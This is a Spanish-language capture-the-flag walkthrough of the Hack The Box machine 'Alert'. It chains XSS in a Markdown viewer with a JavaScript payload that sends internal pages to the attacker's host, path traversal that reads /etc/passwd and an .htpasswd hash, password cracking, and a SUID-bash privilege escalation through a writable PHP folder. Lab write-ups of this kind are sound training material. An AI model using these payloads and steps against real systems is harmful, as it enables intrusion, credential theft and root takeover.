Description
Alert es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Aplicación PHP vulnerable a una secuencia de comandos en sitios cruzados (XSS)
- Aplicación PHP vulnerable a la falsificación de solicitudes del lado del servidor (SSRF)
- Aplicación PHP vulnerable a un salto de directorio que filtra las credenciales de un servidor web
- Credenciales del servidor web de un servidor web reutilizadas para el sistema Linux
- Escalada de privilegios mediante una carpeta del servidor web editable que se hospeda como un servicio cuyo propietario es el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.121.113.
$ ping -c 3 10.129.121.113
PING 10.129.121.113 (10.129.121.113) 56(84) bytes of data.
64 bytes from 10.129.121.113: icmp_seq=1 ttl=63 time=62.1 ms
64 bytes from 10.129.121.113: icmp_seq=2 ttl=63 time=53.8 ms
64 bytes from 10.129.121.113: icmp_seq=3 ttl=63 time=133 ms
--- 10.129.121.113 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 53.768/83.042/133.222/35.646 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.121.113 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.121.113
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.121.113 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.121.113
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.28 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Agregamos la máquina descubierta al archivo /etc/hosts.️
$ echo '10.129.121.113 alert.htb' | sudo tee -a /etc/hosts
Encontramos una página que ofrece un servicio para renderizar código Markdown en la web. Podemos subir un archivo y recibiremos la respuesta con el código HTML renderizado después de hacer clic en el botón “Ver Markdown”.️
# Title
## Subtitle
Hello [alert.htb](alert.htb).
Se nos redirige a visualizer.php en el que se muestra el código HTML y también podemos encontrar un botón Share Markdown que nos permite compartir un enlace a la nota de Markdown. En este caso, el enlace es http://alert.htb/visualizer.php?link_share=67424bff4a5c49.51358870.md. Este enlace se refiere al archivo 67424bff4a5c49.51358870.md pasado como parámetro. Es posible que sea el archivo subido. Verificamos que podemos encontrar el archivo subido en el enlace http://alert.htb/uploads/67424bff4a5c49.51358870.md. No podemos subir archivos con extensiones diferentes ya que hay filtros y recibimos el error Error: File must be a Markdown file (.md).. Vamos a verificar si la aplicación es vulnerable a XSS (Cross-Site Scripting) enviando un código especial.️
# Title
## Subtitle
Hello [alert.htb](alert.htb).
Is XSS? <script>alert('XSS')</script>...
Después de subir el archivo la ventana de alerta se muestra, por lo tanto la aplicación es vulnerable a XSS.️
Al principio de la página web encontramos una opción Contact Us que nos permite enviar un mensaje al administrador tal como se indica en la sección accesible con la opción About Us.️
Vamos a enviar un mensaje al administrador con un enlace a un servidor web creado por nosotros, abriendo el puerto TCP local 80 con la orden $ nc -nvlp 80, para comprobar si el administrador está revisando los enlaces que reciben.️
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.121.113] 41814
GET / HTTP/1.1
Host: 10.10.14.19
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Recibimos de vuelta una respuesta desde el servicio, utilizando el navegador web Headless Chrome.️
Explotación
Como el administrador está leyendo los mensajes y existe una vulnerabilidad XSS en el Visor Markdown, podemos enviar al administrador un enlace compartido para explotar una vulnerabilidad SSRF para leer páginas web internas. Con un código elaborado, el administrador leerá el código HTML de la página web alert.htb y luego el código se nos enviará codificado en Base64.️
# Title
## Subtitle
Hello [alert.htb](alert.htb).
<script>
var url = "http://alert.htb/";
var attacker = "http://10.10.14.19/content";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?htmlcode=" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
</script>
Iniciamos un servidor HTTP local con Python.️
$ python -m http.server 80
Subimos el archivo Markdown y enviamos la URL al administrador.️
Recibimos el código HTML codificado en Base64 en la solicitud HTTP desde el administrador.️
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.121.113 - code 404, message File not found
10.129.121.113 - "GET /content?htmlcode=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWFya2Rvd24gVmlld2VyPC9oMT48ZGl2IGNsYXNzPSJmb3JtLWNvbnRhaW5lciI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0idmlzdWFsaXplci5waHAiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgYWNjZXB0PSIubWQiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlZpZXcgTWFya2Rvd24iPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L2Rpdj4gICAgPC9kaXY+CiAgICA8Zm9vdGVyPgogICAgICAgIDxwIHN0eWxlPSJjb2xvcjogYmxhY2s7Ij6pIDIwMjQgQWxlcnQuIEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPgogICAgPC9mb290ZXI+CjwvYm9keT4KPC9odG1sPgoK HTTP/1.1" 404 -
Lo decodificamos.️
$ echo 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWFya2Rvd24gVmlld2VyPC9oMT48ZGl2IGNsYXNzPSJmb3JtLWNvbnRhaW5lciI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0idmlzdWFsaXplci5waHAiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgYWNjZXB0PSIubWQiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlZpZXcgTWFya2Rvd24iPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L2Rpdj4gICAgPC9kaXY+CiAgICA8Zm9vdGVyPgogICAgICAgIDxwIHN0eWxlPSJjb2xvcjogYmxhY2s7Ij6pIDIwMjQgQWxlcnQuIEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPgogICAgPC9mb290ZXI+CjwvYm9keT4KPC9odG1sPgoK' | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Markdown Viewer</h1><div class="form-container">
<form action="visualizer.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".md" required>
<input type="submit" value="View Markdown">
</form>
</div> </div>
<footer>
<p style="color: black;">� 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
En el código HTML encontramos que el administrador tiene una opción adicional Messages que se mueve a index.php?page=messages. Si visitamos la página con nuestro navegador obtenemos una página con la sección vacía.️
$ curl 'http://alert.htb/index.php?page=messages'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
</nav>
<div class="container">
</div>
<footer>
<p style="color: black;">© 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
Vamos a repetir el proceso de SSRF pero vamos a cambiar la variable url desde el archivo Markdown a http://alert.htb/index.php?page=messages. Se nos devuelve el código fuente de la página web, que es diferente al recibido por nuestro navegador.️
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;">� 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
Encontramos que en esta nueva sesión existe un enlace a messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt. Dado que el parámetro file podría ser vulnerable a Path Traversal, vamos a repetir la vulnerabilidad SSRF cambiando la variable url a http://alert.htb/messages.php?file=../../../../../etc/passwd. Recibimos sin problemas los contenidos del archivo /etc/passwd pero insertados entre etiquetas <pre>️
<pre>root:x:0:0:root:/root:/bin/bash
...
</pre>
Podemos confirmar que la aplicación es vulnerable a la vulnerabilidad de Path Traversal. Vamos a verificar el archivo /etc/apache2/sites-enabled/000-default.conf con la variable url http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-enabled/000-default.conf.️
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
Encontramos que existe otro subdominio, statistics.alert.htb y está protegido por el archivo de contraseña /var/www/statistics.alert.htb/.htpasswd. Vamos a agregar el dominio al archivo /etc/hosts.️
$ echo '10.129.121.113 statistics.alert.htb' | sudo tee -a /etc/hosts
Encontramos que está realmente protegido con contraseña.️
$ curl -I 'statistics.alert.htb'
HTTP/1.1 401 Unauthorized
Server: Apache/2.4.41 (Ubuntu)
WWW-Authenticate: Basic realm="Restricted Area"
Content-Type: text/html; charset=iso-8859-1
Obtenemos el archivo .htpasswd con la variable url http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd.️
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>
Obtenemos el hash $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ para el usuario albert. Vamos a recuperar la contraseña con la herramienta John The Ripper. En este caso, el formato de la contraseña es md5crypt-long.️
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long htpasswd
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (albert)
1g 0:00:00:00 DONE 14.28g/s 40228p/s 40228c/s 40228C/s my3kids..medicina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario albert, manchesterunited. Ahora podemos iniciar sesión en el subdominio statistics.️
Nos encontramos solo con un panel con datos sobre donaciones. Podemos iniciar sesión en la máquina utilizando el protocolo SSH y las credenciales encontradas.️
$ ssh albert@alert.htb
...
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
Post-Explotación
Encontramos que formamos parte del grupo de management. Como usuarios de consola encontramos a root, albert y david.️
albert@alert:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash
Encontramos un servicio local en ejecución en el puerto 8080. Es una aplicación web encontrada en la carpeta /opt/website-monitor. La aplicación está en ejecución con el propietario usuario root. Si podemos obtener la ejecución de comandos en este servicio, ejecutaremos comandos como el usuario root.️
albert@alert:~$ ss -tunlp | grep 127.0.0.1
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
albert@alert:~$ ps -ef | grep 8080
root 989 1 0 21:42 ? 00:00:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
Si nos movemos a la carpeta /opt/website-monitor, encontramos que los usuarios del grupo management tienen todos los permisos sobre la carpeta config.️
albert@alert:/opt/website-monitor$ ls -la
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
albert@alert:/opt/website-monitor$ ls -la config/
total 12
drwxrwxr-x 2 root management 4096 Oct 12 04:17 .
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root management 49 Nov 5 14:31 configuration.php
La carpeta config solo tiene el archivo configuration.php. Dado que tenemos permisos para escribir archivos en esta carpeta, podemos crear un nuevo archivo PHP para obtener la ejecución de comandos, en este caso, para crear un nuevo binario Bash SUID en el directorio /tmp. Primero, crearemos el archivo /opt/website-monitor/config/backup.php con el siguiente contenido:️
<?php
system('cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash');
?>
Luego visitaremos la URL http://127.0.0.1:8080/config/backup.sh desde la consola del equipo. Se creará el archivo /tmp/suid-bash.️
albert@alert:/opt/website-monitor$ curl http://127.0.0.1:8080/config/backup.php
albert@alert:/opt/website-monitor$ ls -la /tmp/suid-bash
-rwsr-xr-x 1 root root 1183448 /tmp/suid-bash
Podemos finalmente ejecutar una consola de root.️
albert@alert:/opt/website-monitor$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)
Flags
En la terminal de administrador podemos recuperar las flags del usuario y del administrator.️
suid-bash-5.0# cat /home/albert/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>